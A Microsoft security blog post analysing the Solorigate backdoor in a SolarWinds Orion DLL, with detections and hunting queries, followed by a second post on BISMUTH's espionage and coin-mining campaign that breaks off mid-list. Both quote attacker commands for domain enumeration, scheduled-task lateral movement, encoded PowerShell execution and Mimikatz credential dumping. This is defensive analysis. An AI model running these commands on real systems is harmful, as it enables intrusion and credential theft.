UPDATE: Microsoft continues to work with partners and customers to expand our knowledge of the threat actor behind the nation-state cyberattacks that compromised the supply chain of SolarWinds and impacted multiple other organizations. Microsoft previously used ‘Solorigate’ as the primary designation for the actor, but moving forward, we want to place appropriate focus on the actors behind the sophisticated attacks, rather than one of the examples of malware used by the actors. Microsoft Threat Intelligence Center (MSTIC) has named the actor behind the attack against SolarWinds, the SUNBURST backdoor, TEARDROP malware, and related components as NOBELIUM. As we release new content and analysis, we will use NOBELIUM to refer to the actor and the campaign of attacks.

We, along with the security industry and our partners, continue to investigate the extent of the Solorigate attack. While investigations are underway, we want to provide the defender community with intelligence to understand the scope, impact, remediation guidance, and product detections and protections we have built in as a result. We have established a resource center that is constantly updated as more information becomes available at https://aka.ms/solorigate.

While the full extent of the compromise is still being investigated by the security industry as a whole, in this blog we are sharing insights into the compromised SolarWinds Orion Platform DLL that led to this sophisticated attack. The addition of a few benign-looking lines of code into a single DLL file spelled a serious threat to organizations using the affected product, a widely used IT administration software used across verticals, including government and the security industry. The discreet malicious codes inserted into the DLL called a backdoor composed of almost 4,000 lines of code that allowed the threat actor behind the attack to operate unfettered in compromised networks.

The fact that the compromised file is digitally signed suggests the attackers were able to access the company’s software development or distribution pipeline. Evidence suggests that as early as October 2019, these attackers have been testing their ability to insert code by adding empty classes. Therefore, insertion of malicious code into the SolarWinds.Orion.Core.BusinessLayer.dll likely occurred at an early stage, before the final stages of the software build, which would include digitally signing the compiled code. As a result, the DLL containing the malicious code is also digitally signed, which enhances its ability to run privileged actions—and keep a low profile.

In many of their actions, the attackers took steps to maintain a low profile. For example, the inserted malicious code is lightweight and only has the task of running a malware-added method in a parallel thread such that the DLL’s normal operations are not altered or interrupted. This method is part of a class, which the attackers named OrionImprovementBusinessLayer to blend in with the rest of the code. The class contains all the backdoor capabilities, comprising 13 subclasses and 16 methods, with strings obfuscated to further hide malicious code.

Once loaded, the backdoor goes through an extensive list of checks to make sure it’s running in an actual enterprise network and not on an analyst’s machines. It then contacts a command-and-control (C2) server using a subdomain generated partly from information gathered from the affected device, which means a unique subdomain for each affected domain. This is another way the attackers try to evade detection.

With a lengthy list of functions and capabilities, this backdoor allows hands-on-keyboard attackers to perform a wide range of actions. As we’ve seen in past human-operated attacks, once operating inside a network, adversaries can perform reconnaissance on the network, elevate privileges, and move laterally. Attackers progressively move across the network until they can achieve their goal, whether that’s cyberespionage or financial gain.

Figure 1. Solorigate malware infection chain

The challenge in detecting these kinds of attacks means organizations should focus on solutions that can look at different facets of network operations to detect ongoing attacks already inside the network, in addition to strong preventative protection.

We have previously provided guidance and remediation steps to help ensure that customers are empowered to address this threat. In this blog, we’ll share our in-depth analysis of the backdoor’s behavior and functions, and show why it represents a high risk for business environments. We’ll also share details of the comprehensive endpoint protection provided by Microsoft Defender for Endpoint. In another blog, we discuss protections across the broader Microsoft 365 Defender, which integrates signals from endpoints with other domains – identities, data, cloud – to provide coordinated detection, investigation, and remediation capabilities. Read: Using Microsoft 365 Defender to protect against Solorigate.

Where it all starts: A poisoned code library

The attackers inserted malicious code into SolarWinds.Orion.Core.BusinessLayer.dll, a code library belonging to the SolarWinds Orion Platform. The attackers had to find a suitable place in this DLL component to insert their code. Ideally, they would choose a place in a method that gets invoked periodically, ensuring both execution and persistence, so that the malicious code is guaranteed to be always up and running. Such a suitable location turns out to be a method named RefreshInternal.

Figure 2: The method infected with the bootstrapper for the backdoor

Figure 3: What the original method looks like

The modification to this function is very lightweight and could be easily overlooked—all it does is to execute the method OrionImprovementBusinessLayer.Initialize within a parallel thread, so that the normal execution flow of RefreshInternal is not altered.

Why was this method chosen rather than other ones? A quick look at the architecture of this DLL shows that RefreshInternal is part of the class SolarWinds.Orion.Core.BusinessLayer.BackgroundInventory.InventoryManager and is invoked by a sequence of methods that can be traced back to the CoreBusinessLayerPlugin class. The purpose of this class, which initiates its execution with a method named Start (likely at an early stage when the DLL is loaded), is to initialize various other components and schedule the execution of several tasks. Among those tasks is Background Inventory, which ultimately starts the malicious code.

Figure 4. The inserted malicious code runs within a parallel thread

The functionality of the backdoor resides entirely in the class OrionImprovementBusinessLayer, comprising 13 subclasses and 16 methods. Its name blends in with the rest of the legitimate code. The threat actors were savvy enough to avoid give-away terminology like “backdoor”, “keylogger”, etc., and instead opted for a more neutral jargon. At first glance, the code in this DLL looks normal and doesn’t raise suspicions, which could be part of the reason why the insertion of malicious code was undetected for months, especially if the code for this DLL was not frequently updated.

To have some minimal form of obfuscation from prying eyes, the strings in the backdoor are compressed and encoded in Base64, or their hashes are used instead.

Figure 5: Example of obfuscated strings

Initial reconnaissance

The Initialize method is the de facto execution entry point of the backdoor. It carries out several checks to verify that it is running in a real victim’s environment:

• It verifies that the process hosting the malicious DLL is named solarwinds.businesslayerhost.exe
• It checks that the last write-time of the malicious DLL is at least 12 to 14 days earlier
• It delays execution by random amounts of time
• It verifies that the domain name of the current device meets the following conditions:
  • The domain must not contain certain strings; the check for these strings is implemented via hashes, so at this time the domain names that are block-listed are unknown
  • The domain must not contain “solarwinds”
  • The domain must not match the regular expression (?i)([^a-z]|^)(test)([^a-z]|$), or in simpler terms, it must not look like a test domain
• It checks that there are no running processes related to security-related software (e.g., Windbg, Autoruns, Wireshark)
• It checks that there are no drivers loaded from security-related software (e.g., groundling32.sys)
• It checks that the status of certain services belonging to security-related software meets certain conditions (e.g., windefend, sense, cavp)
• It checks that the host “api.solarwinds.com” resolves to an expected IP address

If any of these checks fail, the backdoor terminates. All these inspections are carried out to avoid exposing the malicious functionality to unwanted environments, such as test networks or machines belonging to SolarWinds.

The backdoor

After the extensive validation described above, the backdoor enters its main execution stage. At its core, the backdoor is a very standard one that receives instructions from the C2 server, executes those instructions, and sends back information. The type of commands that can be executed range from manipulating of registry keys, to creating processes, and deleting files, etc., effectively providing the attackers with full access to the device, especially since it’s executing from a trusted, signed binary.

In its first step, the backdoor initiates a connection to a predefined C2 server to report some basic information about the compromised system and receive the first commands. The C2 domain is composed of four different parts: three come from strings that are hardcoded in the backdoor, and one component is generated dynamically based on some unique information extracted from the device. This means that every affected device generates a different subdomain to contact (and possibly more than one). Here’s an example of a generated domain:

Figure 6: Dynamically generated C2 domain

The dynamically generated portion of the domain is the interesting part. It is computed by hashing the following data:

• The physical address of the network interface
• The domain name of the device
• The content of the MachineGuid registry value from the key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography

The backdoor also generates a pseudo-random URI that is requested on the C2 domain. Like the domain, the URI is composed using a set of hardcoded keywords and paths, which are chosen partly at random and partly based on the type of HTTP request that is being sent out. Possible URIs that can be generated follow these formats:

• pki/crl/<random components>.crl, where <random components> can be numbers and one of the following strings:
  • “-root”
  • “-cert”
  • “-universal_ca”
  • “-ca”
  • “-primary_ca”
  • “-timestamp”
  • “-global”
  • “-secureca”
• fonts/woff/<random components>-webfont<random component>.woff2 or fonts/woff/<random components>.woff2, where the <random components> can be numbers and one or more of the following strings:
  • “Bold”
  • “BoldItalic”
  • “ExtraBold”
  • “ExtraBoldItalic”
  • “Italic”,
  • “Light”
  • “LightItalic”
  • “Regular”
  • “SemiBold”
  • “SemiBoldItalic”
  • “opensans”
  • “noto”
  • “freefont”
  • “SourceCodePro”
  • “SourceSerifPro”
  • “SourceHanSans”
  • “SourceHanSerif”
• swip/upd/<random components>, where <random components> can be one or more of the following strings:
  • “SolarWinds”
  • “.CortexPlugin”
  • “.Orion”
  • “Wireless”
  • “UI”
  • “Widgets”
  • “NPM”
  • “Apollo”
  • “CloudMonitoring”
  • “Nodes”,
  • “Volumes”,
  • “Interfaces”,
  • “Components”
• swip/Upload.ashx
• swip/Events

Here are examples of final URLs generated by the backdoor:

• hxxps://3mu76044hgf7shjf[.]appsync-api[.]eu-west-1[.]avsvmcloud[.]com /swip/upd/Orion[.]Wireless[.]xml
• hxxps://3mu76044hgf7shjf[.]appsync-api[.]us-east-2[.]avsvmcloud[.]com /pki/crl/492-ca[.]crl
• hxxps://3mu76044hgf7shjf[.]appsync-api[.]us-east-1[.]avsvmcloud[.]com /fonts/woff/6047-freefont-ExtraBold[.]woff2

Finally, the backdoor composes a JSON document into which it adds the unique user ID described earlier, a session ID, and a set of other non-relevant data fields. It then sends this JSON document to the C2 server.

Figure 7: Example of data generated by the malware

If the communication is successful, the C2 responds with an encoded, compressed buffer of data containing commands for the backdoor to execute. The C2 might also respond with information about an additional C2 address to report to. The backdoor accepts the following commands:

• Idle
• Exit
• SetTime
• CollectSystemDescription
• UploadSystemDescription
• RunTask
• GetProcessByDescription
• KillTask
• GetFileSystemEntries
• WriteFile
• FileExists
• DeleteFile
• GetFileHash
• ReadRegistryValue
• SetRegistryValue
• DeleteRegistryValue
• GetRegistrySubKeyAndValueNames
• Reboot
• None

In a nutshell, these commands allow the attackers to run, stop, and enumerate processes; read, write, and enumerate files and registry keys; collect and upload information about the device; and restart the device, wait, or exit. The command CollectSystemDescription retrieves the following information:

• Local Computer Domain name
• Administrator Account SID
• HostName
• Username
• OS Version
• System Directory
• Device uptime
• Information about the network interfaces

Resulting hands-on-keyboard attack

Once backdoor access is obtained, the attackers follow the standard playbook of privilege escalation exploration, credential theft, and lateral movement hunting for high-value accounts and assets. To avoid detection, attackers renamed Windows administrative tools like adfind.exe which were then used for domain enumeration.

C:\Windows\system32\cmd.exe /C csrss.exe -h breached.contoso.com -f (name=”Domain Admins”) member -list | csrss.exe -h breached.contoso.com -f objectcategory=* > .\Mod\mod1.log

Lateral movement was observed via PowerShell remote task creation, as detailed by FireEye and Volexity:

$scheduler = New-Object -ComObject (“Schedule.Service”);$scheduler.Connect($env:COMPUTERNAME);$folder = $scheduler.GetFolder(“\Microsoft\Windows\SoftwareProtectionPlatform”);$task = $folder.GetTask(“EventCacheManager”);$definition = $task.Definition;$definition.Settings.ExecutionTimeLimit = “PT0S”;$folder.RegisterTaskDefinition($task.Name,$definition,6,”System”,$null,5);echo “Done” C:\Windows\system32\cmd.exe /C schtasks /create /F /tn “\Microsoft\Windows\SoftwareProtectionPlatform\EventCacheManager” /tr “C:\Windows\SoftwareDistribution\EventCacheManager.exe” /sc ONSTART /ru system /S [machine_name]

Persistence is achieved via backdoors deployed via various techniques:

1. PowerShell:

Powershell -nop -exec bypass -EncodedCommand

The –EncodedCommand, once decoded, would resemble:

Invoke-WMIMethod win32_process -name create -argumentlist ‘rundll32 c:\windows\idmu\common\ypprop.dll _XInitImageFuncPtrs’ -ComputerName WORKSTATION

2. Rundll32:

C:\Windows\System32\rundll32.exe C:\Windows\Microsoft.NET\Framework64\[malicious .dll file], [various exports]

With Rundll32, each compromised device receives a unique binary hash, unique local filesystem path, pseudo-unique export, and unique C2 domain.

The backdoor also allows the attackers to deliver second-stage payloads, which are part of the Cobalt Strike software suite. We continue to investigate these payloads, which are detected as Trojan:Win32/Solorigate.A!dha, as the situation continues to unfold.

Microsoft Defender for Endpoint product and hardening guidance

Supply chain compromise continues to be a growing concern in the security industry. The Solorigate incident is a grave reminder that these kinds of attacks can achieve the harmful combination of widespread impact and deep consequences for successfully compromised networks. We continue to urge customers to:

• Isolate and investigate devices where these malicious binaries have been detected
• Identify accounts that have been used on the affected device and consider them compromised
• Investigate how those endpoints might have been compromised
• Investigate the timeline of device compromise for indications of lateral movement

Hardening networks by reducing attack surfaces and building strong preventative protection are baseline requirements for defending organizations. On top of that, comprehensive visibility into system and network activities drive the early detection of anomalous behaviors and potential signs of compromise. More importantly, the ability to correlate signals through AI could surface more evasive attacker activity.

Microsoft Defender for Endpoint has comprehensive detection coverage across the Solorigate attack chain. These detections raise alerts that inform security operations teams about the presence of activities and artifacts related to this incident. Given that this attack involves the compromise of legitimate software, automatic remediation is not enabled to prevent service interruption. The detections, however, provide visibility into the attack activity. Analysts can then use investigation and remediation tools in Microsoft Defender Endpoint to perform deep investigation and additional hunting.

Microsoft 365 Defender provides visibility beyond endpoints by consolidating threat data from across domains – identities, data, cloud apps, as well as endpoints – delivering coordinated defense against this threat. This cross-domain visibility allows Microsoft 365 Defender to correlate signals and comprehensively resolve whole attack chains. Security operations teams can then hunt using this rich threat data and gain insights for hardening networks from compromise. Read: Using Microsoft 365 Defender to protect against Solorigate.

Figure 8. Microsoft Defender for Endpoint detections across the Solorigate attack chain

Several Microsoft Defender for Endpoint capabilities are relevant to the Solorigate attack:

Next generation protection

Microsoft Defender Antivirus, the default antimalware solution on Windows 10, detects and blocks the malicious DLL and its behaviors. It quarantines malware, even if the process is running.

Detection for backdoored SolarWinds.Orion.Core.BusinessLayer.dll files:

• Trojan:MSIL/Solorigate.BR!dha

Detection for Cobalt Strike fragments in process memory and stops the process:

• Trojan:Win32/Solorigate.A!dha
• Behavior:Win32/Solorigate.A!dha

Detection for the second-stage payload, a cobalt strike beacon that might connect to infinitysoftwares[.]com.

• Trojan:Win64/Solorigate.SA!dha

Detection for the PowerShell payload that grabs hashes and SolarWinds passwords from the database along with machine information:

• Trojan:PowerShell/Solorigate.H!dha

Figure 9. Microsoft Defender for Endpoint prevented malicious binaries

Endpoint detection and response (EDR)

Alerts with the following titles in the Microsoft Defender Security Center and Microsoft 365 security center can indicate threat activity on your network:

• SolarWinds Malicious binaries associated with a supply chain attack
• SolarWinds Compromised binaries associated with a supply chain attack
• Network traffic to domains associated with a supply chain attack

Alerts with the following titles in the Microsoft Defender Security Center and Microsoft 365 security center can indicate the possibility that the threat activity in this report occurred or might occur later. These alerts can also be associated with other malicious threats.

• ADFS private key extraction attempt
• Masquerading Active Directory exploration tool
• Suspicious mailbox export or access modification
• Possible attempt to access ADFS key material
• Suspicious ADFS adapter process created

Figure 10. Microsoft Defender for Endpoint detections of suspicious LDAP query being launched and attempted ADFS private key extraction

Figure 11. Microsoft Defender for Endpoint alert description and recommended actions for possible attempt to access ADFS key material

Our ability to deliver these protections through our security technologies is backed by our security experts who immediately investigated this attack and continue to look into the incident as it develops. Careful monitoring by experts is critical in this case because we’re dealing with a highly motivated and highly sophisticated threat actor. In the same way that our products integrate with each other to consolidate and correlate signals, security experts and threat researchers across Microsoft are working together to address this advanced attack and ensure our customers are protected.

Threat analytics report

We published a comprehensive threat analytics report on this incident. Threat analytics reports provide technical information, detection details, and recommended mitigations designed to empower defenders to understand attacks, assess its impact, and review defenses.

Figure 12. Threat analytics report on the Solorigate attack

Advanced hunting

Microsoft 365 Defender and Microsoft Defender for Endpoint customers can run advanced hunting queries to hunt for similar TTPs used in this attack.

Malicious DLLs loaded into memory

To locate the presence or distribution of malicious DLLs loaded into memory, run the following query

DeviceImageLoadEvents 
| where SHA1 in ("d130bd75645c2433f88ac03e73395fba172ef676",
"1acf3108bf1e376c8848fbb25dc87424f2c2a39c","e257236206e99f5a5c62035c9c59c57206728b28",
"6fdd82b7ca1c1f0ec67c05b36d14c9517065353b","2f1a5a7411d015d01aaee4535835400191645023",
"bcb5a4dcbc60d26a5f619518f2cfc1b4bb4e4387","16505d0b929d80ad1680f993c02954cfd3772207",
"d8938528d68aabe1e31df485eb3f75c8a925b5d9","395da6d4f3c890295f7584132ea73d759bd9d094",
"c8b7f28230ea8fbf441c64fdd3feeba88607069e","2841391dfbffa02341333dd34f5298071730366a",
"2546b0e82aecfe987c318c7ad1d00f9fa11cd305","e2152737bed988c0939c900037890d1244d9a30e") 
or SHA256 in ("ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6",
"dab758bf98d9b36fa057a66cd0284737abf89857b73ca89280267ee7caf62f3b",
"eb6fab5a2964c5817fb239a7a5079cabca0a00464fb3e07155f28b0a57a2c0ed",
"ac1b2b89e60707a20e9eb1ca480bc3410ead40643b386d624c5d21b47c02917c",
"019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134",
"c09040d35630d75dfef0f804f320f8b3d16a481071076918e9b236a321c1ea77",
"0f5d7e6dfdd62c83eb096ba193b5ae394001bac036745495674156ead6557589",
"e0b9eda35f01c1540134aba9195e7e6393286dde3e001fce36fb661cc346b91d",
"20e35055113dac104d2bb02d4e7e33413fae0e5a426e0eea0dfd2c1dce692fd9",
"2b3445e42d64c85a5475bdbc88a50ba8c013febb53ea97119a11604b7595e53d",
"a3efbc07068606ba1c19a7ef21f4de15d15b41ef680832d7bcba485143668f2d",
"92bd1c3d2a11fc4aba2735d9547bd0261560fb20f36a0e7ca2f2d451f1b62690",
"a58d02465e26bdd3a839fd90e4b317eece431d28cab203bbdde569e11247d9e2",
"cc082d21b9e880ceb6c96db1c48a0375aaf06a5f444cb0144b70e01dc69048e6")

Malicious DLLs created in the system or locally

To locate the presence or distribution of malicious DLLs created in the system or locally, run the following query

DeviceFileEvents 
| where SHA1 in ("d130bd75645c2433f88ac03e73395fba172ef676",
"1acf3108bf1e376c8848fbb25dc87424f2c2a39c","e257236206e99f5a5c62035c9c59c57206728b28",
"6fdd82b7ca1c1f0ec67c05b36d14c9517065353b","2f1a5a7411d015d01aaee4535835400191645023",
"bcb5a4dcbc60d26a5f619518f2cfc1b4bb4e4387","16505d0b929d80ad1680f993c02954cfd3772207",
"d8938528d68aabe1e31df485eb3f75c8a925b5d9","395da6d4f3c890295f7584132ea73d759bd9d094",
"c8b7f28230ea8fbf441c64fdd3feeba88607069e","2841391dfbffa02341333dd34f5298071730366a",
"2546b0e82aecfe987c318c7ad1d00f9fa11cd305","e2152737bed988c0939c900037890d1244d9a30e") 
or SHA256 in ("ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6",
"dab758bf98d9b36fa057a66cd0284737abf89857b73ca89280267ee7caf62f3b",
"eb6fab5a2964c5817fb239a7a5079cabca0a00464fb3e07155f28b0a57a2c0ed",
"ac1b2b89e60707a20e9eb1ca480bc3410ead40643b386d624c5d21b47c02917c",
"019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134",
"c09040d35630d75dfef0f804f320f8b3d16a481071076918e9b236a321c1ea77",
"0f5d7e6dfdd62c83eb096ba193b5ae394001bac036745495674156ead6557589",
"e0b9eda35f01c1540134aba9195e7e6393286dde3e001fce36fb661cc346b91d",
"20e35055113dac104d2bb02d4e7e33413fae0e5a426e0eea0dfd2c1dce692fd9",
"2b3445e42d64c85a5475bdbc88a50ba8c013febb53ea97119a11604b7595e53d",
"a3efbc07068606ba1c19a7ef21f4de15d15b41ef680832d7bcba485143668f2d",
"92bd1c3d2a11fc4aba2735d9547bd0261560fb20f36a0e7ca2f2d451f1b62690",
"a58d02465e26bdd3a839fd90e4b317eece431d28cab203bbdde569e11247d9e2",
"cc082d21b9e880ceb6c96db1c48a0375aaf06a5f444cb0144b70e01dc69048e6")

SolarWinds processes launching PowerShell with Base64

To locate SolarWinds processes spawning suspected Base64-encoded PowerShell commands, run the following query 

DeviceProcessEvents
| where InitiatingProcessFileName =~ "SolarWinds.BusinessLayerHost.exe"
| where FileName =~ "powershell.exe"// Extract base64 encoded string, ensure valid base64 length| extend base64_extracted = extract('([A-Za-z0-9+/]{20,}[=]{0,3})', 1, ProcessCommandLine)| extend base64_extracted = substring(base64_extracted, 0, (strlen(base64_extracted) / 4) * 4)| extend base64_decoded = replace(@'\0', '', make_string(base64_decode_toarray(base64_extracted)))//
| where notempty(base64_extracted) and base64_extracted matches regex '[A-Z]' and base64_extracted matches regex '[0-9]'

SolarWinds processes launching CMD with echo

To locate SolarWinds processes launching CMD with echo,  run the following query 

DeviceProcessEvents
| where InitiatingProcessFileName =~ "SolarWinds.BusinessLayerHost.exe"
| where FileName == "cmd.exe" and ProcessCommandLine has "echo"

C2 communications

To locate DNS lookups to a malicious actor’s domain, run the following query 

DeviceEvents
| where ActionType == "DnsQueryResponse" //DNS Query Responseand AdditionalFields has ".avsvmcloud"

To locate DNS lookups to a malicious actor’s domain, run the following query 

DeviceNetworkEvents
| where RemoteUrl contains 'avsvmcloud.com'
| where InitiatingProcessFileName != "chrome.exe"
| where InitiatingProcessFileName != "msedge.exe"
| where InitiatingProcessFileName != "iexplore.exe"
| where InitiatingProcessFileName != "firefox.exe"
| where InitiatingProcessFileName != "opera.exe"

Find SolarWinds Orion software in your enterprise

To search for Threat and Vulnerability Management data to find SolarWinds Orion software organized by product name and ordered by how many devices the software is installed on, run the following query 

DeviceTvmSoftwareInventoryVulnerabilities
| where SoftwareVendor == 'solarwinds'
| where SoftwareName startswith 'orion'
| summarize dcount(DeviceName) by SoftwareName
| sort by dcount_DeviceName desc

ADFS adapter process spawning

DeviceProcessEvents
| where InitiatingProcessFileName =~"Microsoft.IdentityServer.ServiceHost.exe"
| where FileName in~("werfault.exe", "csc.exe")
| where ProcessCommandLine !contains ("nameId")

Appendix

MITRE ATT&CK techniques observed

This threat makes use of attacker techniques documented in the MITRE ATT&CK framework.

Initial Access

T1195.001 Supply Chain Compromise

Execution

T1072 Software Deployment Tools

Command and Control

T1071.004 Application Layer Protocol: DNS

T1071.001 Application Layer Protocol: Web Protocols

T1568.002 Dynamic Resolution: Domain Generation Algorithms

T1132 Data Encoding

Persistence

T1078 Valid Accounts 

Defense Evasion

T1480.001 Execution Guardrails: Environmental Keying

T1562.001 Impair Defenses: Disable or Modify Tools

Collection

T1005 Data From Local System 

Additional malware discovered

In an interesting turn of events, the investigation of the whole SolarWinds compromise led to the discovery of an additional malware that also affects the SolarWinds Orion product but has been determined to be likely unrelated to this compromise and used by a different threat actor. The malware consists of a small persistence backdoor in the form of a DLL file named App_Web_logoimagehandler.ashx.b6031896.dll, which is programmed to allow remote code execution through SolarWinds web application server when installed in the folder “inetpub\SolarWinds\bin\”. Unlike Solorigate, this malicious DLL does not have a digital signature, which suggests that this may be unrelated to the supply chain compromise.  Nonetheless, the infected DLL contains just one method (named DynamicRun), that can receive a C# script from a web request, compile it on the fly, and execute it.

Figure 13: Original DLL

Figure 14: The malicious addition that calls the DynamicRun method

This code provides an attacker the ability to send and execute any arbitrary C# program on the victim’s device. Microsoft Defender Antivirus detects this compromised DLL as Trojan:MSIL/Solorigate.G!dha.

Talk to us

Questions, concerns, or insights on this story? Join discussions at the Microsoft 365 Defender tech community.

Read all Microsoft security intelligence blog posts.

Follow us on Twitter @MsftSecIntel.

The post Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers appeared first on Microsoft Security Blog.

BISMUTH, which shares similarities with OceanLotus or APT32, has been running increasingly complex cyberespionage attacks as early as 2012, using both custom and open-source tooling to target large multinational corporations, governments, financial services, educational institutions, and human and civil rights organizations. But in campaigns from July to August 2020, the group deployed Monero coin miners in attacks that targeted both the private sector and government institutions in France and Vietnam.

Because BISMUTH’s attacks involved techniques that ranged from typical to more advanced, devices with common threat activities like phishing and coin mining should be elevated and inspected for advanced threats. More importantly, organizations should prioritize reducing attack surface and hardening networks against the full range of attacks. In this blog, we’ll provide in-depth technical details about the BISMUTH attacks in July and August 2020 and mitigation recommendations for building organizational resilience.

While this actor’s operational goals remained the same—establish continuous monitoring and espionage, exfiltrating useful information as is it surfaced—their deployment of coin miners in their recent campaigns provided another way for the attackers to monetize compromised networks. Considering some of the group’s traditional targets are human and civil rights organizations, BISMUTH attacks demonstrate how attackers give little regard to services they impact.

The use of coin miners by BISMUTH was unexpected, but it was consistent with the group’s longtime methods of blending in. This pattern of blending in is particularly evident in these recent attacks, starting from the initial access stage: spear-phishing emails that were specially crafted for one specific recipient per target organization and showed signs of prior reconnaissance. In some instances, the group even corresponded with the targets, building even more believability to convince targets to open the malicious attachment and start the infection chain.

The other way that BISMUTH attempted to blend in and hide in plain sight was the heavy use of DLL side-loading, a technique in which a legitimate DLL is replaced with a malicious one so that the latter is loaded when the associated application is run. In their recent attacks, BISMUTH utilized copies of various legitimate software to load malicious DLL files and perform tasks in the context of these legitimate applications. To perform DLL sideloading, BISMUTH introduced outdated versions of various applications, including Microsoft Defender Antivirus. They also leveraged the Sysinternals DebugView tool, the McAfee on-demand scanner, and Microsoft Word 2007.

Blending in was important for BISMUTH because the group spent long periods of time performing discovery on compromised networks until they could access and move laterally to high-value targets like servers, where they installed various tools to further propagate or perform more actions. At this point in the attack, the group relied heavily on evasive PowerShell scripts, making their activities even more covert.

The coin miners also allowed BISMUTH to hide its more nefarious activities behind threats that may be perceived to be less alarming because they’re “commodity” malware. If we learned anything from “commodity” banking trojans that bring in human-operated ransomware, we know that common malware infections can be indicators of more sophisticated cyberattacks and should be treated with urgency and investigated and resolved comprehensively.

Initial access

BISMUTH attempted to gain initial access by sending specially crafted malicious emails from a Gmail account that appears to have been made specifically for this campaign. It’s likely the group conducted reconnaissance using publicly available sources and chose individual targets based on their job function. Each email was sent to only one recipient at each target organization and used tailored subject lines and lure themes, for example:

• Dự thảo hợp đồng (translates from Vietnamese to “Draft Contract”)
• Ứng tuyển – Trưởng ban nghiên cứu thị trường (translates from Vietnamese to “Application form – Head of Market Research”)

Of note, the group sent several replies to one of these emails, which indicated that they corresponded with some targets before convincing them to open the malicious document attachment and inadvertently launch the payload. When opened, the malicious .doc file dropped several files in the hidden ProgramData folder: (1) MpSvc.dll, a malicious DLL with the same name as a legitimate Microsoft Defender Antivirus DLL, and (2) a copy of MsMpEng.exe the legitimate Microsoft Defender Antivirus executable.

The malicious document then added a scheduled task that launched the MsMpEng.exe copy and sideloaded the malicious MpSvc.dll. Because the latest versions of Microsoft Defender Antivirus are no longer susceptible to DLL sideloading, BISMUTH used an older copy to load the malicious DLL and establish a persistent command-and-control (C2) channel to the compromised device and consequently the network.

Using the newly established channel, the group dropped several files for the next stages of the attack, including a .7z archive, a copy of Word 2007, and another DLL, wwlib.dll. While it used the same name as a legitimate Microsoft Word DLL, wwlib.dll was a copy of KerrDown, a family of custom malware exclusive to BISMUTH. This file was subsequently sideloaded by the dropped copy of Word 2007—a technique used by BISMUTH extensively to load malicious code from a DLL file in the context of a legitimate process like winword.exe.

BISMUTH established another persistence method by dropping another copy of Word 2007 in a subfolder in ProgramData. The group then created a scheduled task that launched that copy in the same malicious manner every 60 minutes – further increasing their chances of going undetected and maintaining their presence.

Discovery

Once established as a scheduled task, the co-opted Word 2007 process dropped and loaded a scanning tool popular among attackers, NbtScan.exe. BISMUTH then immediately used the scanning tool to scan an IP address range within the organization. Following this network scan, the Word 2007 process launched a malicious script using a living-off-the-land-binary, rundll32.exe, resulting in a scan on a myriad of common ports, including 21, 22, 389, 139, and 1433. BISMUTH listed devices with open ports in a .csv file.

While network scanning was underway, the group performed other reconnaissance activities. They gathered information about domain and local administrators, checked whether users had local administrative privileges, and collected device information—aggregating results in a .csv for exfiltration. In addition, the group once again used MsMpEng.exe with the malicious sideloaded DLL to connect to another device that appears to have been designated by BISMUTH at some point during the attack as an internal C2 foothold and exfiltration staging device.

Continued lateral movement, discovery, and intel gathering

After a month of continual discovery on compromised devices, the group moved laterally to a server and copied over a malicious DLL that masqueraded as the system file mpr.dll and a copy of the Sysinternals DebugView tool. They dropped the tool onto different devices using SMB remote file copy, using file names related to popular Japanese video game characters and a seemingly random word. The actors then registered and launched malicious services multiple times, launching DebugView tool to connect to multiple Yahoo websites and confirm Internet connectivity, followed by a connection to their C2 infrastructure.

At this point, BISMUTH switched to running their attacks using PowerShell, quickly launching multiple script cmdlets. First, they dumped credentials from the Security Account Manager (SAM) database using the Empire PowerDump command and then quickly deleted PowerShell event logs to erase records generated by Script Block Logging. They then continued their discovery efforts using a PowerShell script that gathered user and group information and sent the gathered data to .csv files.

The script collected the following information about each user:

description, distinguishedname, lastlogontimestamp, logoncount, mail, name, primarygroupid, pwdlastset, samaccountname, userprincipalname, whenchanged, whencreated

And the following information about each domain group:

adspath, description, distinguishedname, groupType, instancetype, mail, member, memberof, name, objectsid, samaccountname,whenchanged, whencreated

Next, the group exported directory forest and domain organizational unit (OU) information. They then started connecting to dozens of devices using WMI. Following that, they collected credentials by dumping security logs under Event ID 680, possibly targeting logs related to NTLM fallbacks. Lastly, the group used the system tool Nltest.exe to gather domain trust info and pinged multiple servers they have identified by name during reconnaissance. Some of these servers appear to be database and file servers that could have contained high-value information for espionage objectives typically pursued by BISMUTH.

BISMUTH then installed a Cobalt Strike beacon. The group dropped a .rar file and extracted its contents—McOds.exe, which is a copy of the McAfee on-demand scanner, and a malicious DLL—into the SysWOW64 folder. The group then created a scheduled task that launched the copy of the McAfee on-demand scanner with SYSTEM privileges and sideloaded the malicious DLL. This persistence mechanism established a connection to their Cobalt Strike server infrastructure. To clean up evidence, they deleted the dropped McAfee binary.

In terms of targets for this campaign, there were some commonalities among targets located in Vietnam that Microsoft has assessed to be tied to their previous designation as state-owned enterprises (SOEs). The observed BISMUTH activity in Vietnam targeted organizations that included former SOEs previously operated by the government of Vietnam, entities that have acquired a significant portion of a former SOE, and entities that conduct transactions with a Vietnamese government agency. Although the group’s specific objectives for these recent attacks cannot be defined with high confidence, BISMUTH’s past activities have included operations in support of broader espionage goals.

Coin miner deployment and credential theft

As mentioned, BISMUTH deployed coin miners during these attacks. To do this, they first dropped a .dat file and loaded the file using rundll32.exe, which in turn downloaded a copy of the 7-zip tool named 7za.exe and a ZIP file. They then used 7-Zip to extract a Monero coin miner from the ZIP file and registered the miner as a service named after a common Virtual Machine process. Each coin miner they deployed had a unique wallet address that earned over a thousand U.S. dollars combined during the attacks.

After deploying coin miners as their distraction technique, BISMUTH then focused much of its efforts on credential theft. They registered multiple malicious services that used %comspec%—a relative reference to cmd.exe commonly used by attackers—to run the renamed DebugView tool while loading a malicious DLL. The group used DebugView and the malicious DLL in a fairly unexpected fashion to launch Base64-encoded Mimikatz commands using one of several Windows processes: makecab.exe, systray.exe, w32tm.exe, bootcfg.exe, diskperf.exe, esentutl.exe, and typeperf.exe.

They ran the following Mimikatz commands that require SYSTEM or Debug privileges:

• sekurlsa::logonpasswords full–lists all account and user password hashes, typically user and computer credentials for recently logged on users
